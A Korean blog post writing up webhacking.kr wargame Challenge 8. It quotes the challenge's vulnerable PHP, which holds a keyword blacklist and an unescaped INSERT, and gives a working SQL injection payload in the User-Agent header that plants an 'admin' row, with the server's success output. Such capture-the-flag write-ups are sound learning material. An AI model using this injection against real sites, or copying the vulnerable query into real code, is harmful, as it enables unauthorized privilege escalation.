늘모자란, 개발 :: [webhacking.kr] Challenge 8

늘모자란, 개발

얼마나 꾸준히 하게 될지 모르니 하는데로 해놓자


문제는 여전히 어이가 없게 생겼다.
소스보기를 하면 index.phps를 보라고 한다.


<?

$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);

$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";

$agent=strtolower($agent);

if(preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if($ck)
{ 
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")

{
@solve();
@mysql_query("delete from lv0");
}


}

if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}


?>


장황한 PHP 코드가 적혀있다.
그런데 시작부터 모르는 함수가 나왔다. getenv("HTTP_USER_AGENT")는 어떤값을 출력할까?
찾아보니 $_SERVER['HTTP_USER_AGENT']; 와 같다고 한다...... -_-

어쨌든 출력값은 다음과 같다.

Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0


나는 Firefox / windows10을 사용하고 있는데 요녀석들이 크게 의미는 없는것 같다.
이후 과정에서 trim과 .와 /를 _로 처리하는 과정이 있고, 다양한 과정을 통해 필터링하고 있다.
일반적인 브라우저 접근으로는 절대 걸리지 않을만한 내용들이다.

하지만 초점을 맞춰야되는건 그게 아니고, 가장 아래줄인 insert 하는 부분이다.
agent 와 ip를 입력받는 부분인데 agent 값을 속여 다음과 같은 형태로 만들것이다.

insert into lv0(agent,ip,id) values ('식별자','ip','admin'), ('....


이경우 무조건 1번 인덱스를 읽도록($ck[0]) 되어 있기때문에 나에게 어드민권한을 내려줄것이다.

이렇게 raw data를 조작한다.

User-Agent: "fantazm','1','admin'),('2


이렇게 하면 서버는 유저입력을 원래 agent값을 넣는게 아니라 fantazm이라는 값으로 admin과 함께 넣어준다.

<br><br>done!  (59/70)


이후에 agent를 fantazm 으로 수정하여

User-Agent: fantazm



날려주면 피니쉬.
hi <b>admin</b><p><script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 8 problems.</font><br><br><font color=green><b>Score + 350</b></font><br><hr></h1>
2016/03/08 17:00 2016/03/08 17:00